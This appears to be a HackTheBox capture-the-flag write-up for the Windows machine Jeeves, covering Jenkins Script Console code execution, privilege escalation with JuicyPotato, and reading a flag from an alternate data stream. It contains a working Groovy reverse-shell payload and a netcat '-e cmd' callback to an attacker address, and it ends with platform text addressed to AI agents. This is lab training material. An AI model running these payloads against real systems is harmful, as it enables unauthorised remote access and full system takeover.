> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Jeeves HackTheBox Writeup Jeeves HackTheBox Medium Windows machine writeup covering Jenkins Script Console RCE, Groovy reverse shells, JuicyPotato, SeImpersonatePrivilege, and Alternate Data Streams. {% embed url="" %} {% hint style="warning" %} **Skills** * Network and web-service enumeration with Nmap and Gobuster. * Jenkins Script Console remote code execution using Groovy. * Windows privilege escalation with `SeImpersonatePrivilege` and JuicyPotato. * NTFS Alternate Data Stream discovery and extraction. {% endhint %} ### Reconnaissance #### Prepare the workspace

#### Identify the operating system The TTL value of `128` indicates a Windows host.

#### Scan for open ports Run a full TCP SYN scan: ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts ``` The scan identifies ports `80`, `135`, `445`, and `50000`.

Run targeted service and version detection: ```bash nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted ```

#### Inspect the web service Port `50000` identifies itself as Jetty: `Powered by Jetty:// 9.4.z-SNAPSHOT`

Enumerate web paths: ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100 ```

The `/askjeeves` path hosts Jenkins `2.87`.

### Initial access #### Use the Jenkins Script Console Open the **Script Console** at `/askjeeves/script`. It accepts Groovy code and runs it on the Jenkins host.

Run a harmless command to confirm code execution: ```groovy def process = "PowerShell.exe cmd.exe /c dir".execute() println "Found text ${process.text}" ``` The command output confirms remote code execution.

#### Obtain a reverse shell Start a listener on port `443`: ```bash sudo rlwrap nc -nvlp 443 ``` Run this Groovy payload in the Script Console. Replace the callback address and port as needed. {% code overflow="wrap" %} ```groovy Thread.start { String host="10.10.15.2"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); } ``` {% endcode %} The listener receives a shell as `kohsuke`.

#### Review Jenkins credentials The Jenkins configuration contains an encrypted API token: {% code overflow="wrap" %} ```bash AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw== ``` {% endcode %} It also stores the administrator password as a BCrypt hash: {% code overflow="wrap" %} ```bash $2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO ``` {% endcode %}

#### Capture the user flag {% code overflow="wrap" %} ```bash type C:\Users\kohsuke\Desktop\user.txt ``` {% endcode %}

### Privilege escalation #### Transfer the required tools Host the files from the attacker machine: {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %} Copy `nc.exe` and JuicyPotato to the target: {% code overflow="wrap" %} ```bash copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe ``` {% endcode %} ```bash copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe ```

#### Exploit `SeImpersonatePrivilege` Start a listener for the elevated shell: {% code overflow="wrap" %} ```bash rlwrap nc -nlvp 4444 ``` {% endcode %} Run JuicyPotato to spawn `nc.exe` as `NT AUTHORITY\SYSTEM`: {% code overflow="wrap" %} ```bash .\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444" ``` {% endcode %} The callback runs as `NT AUTHORITY\SYSTEM`.

### Root flag List alternate data streams in the Administrator desktop directory: ```cmd cd C:\Users\Administrator\Desktop dir /r ``` The output shows the flag in the `hm.txt:root.txt:$DATA` stream. Read it directly: ```bash more < hm.txt:root.txt:$DATA ``` This completes the machine as `NT AUTHORITY\SYSTEM`.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.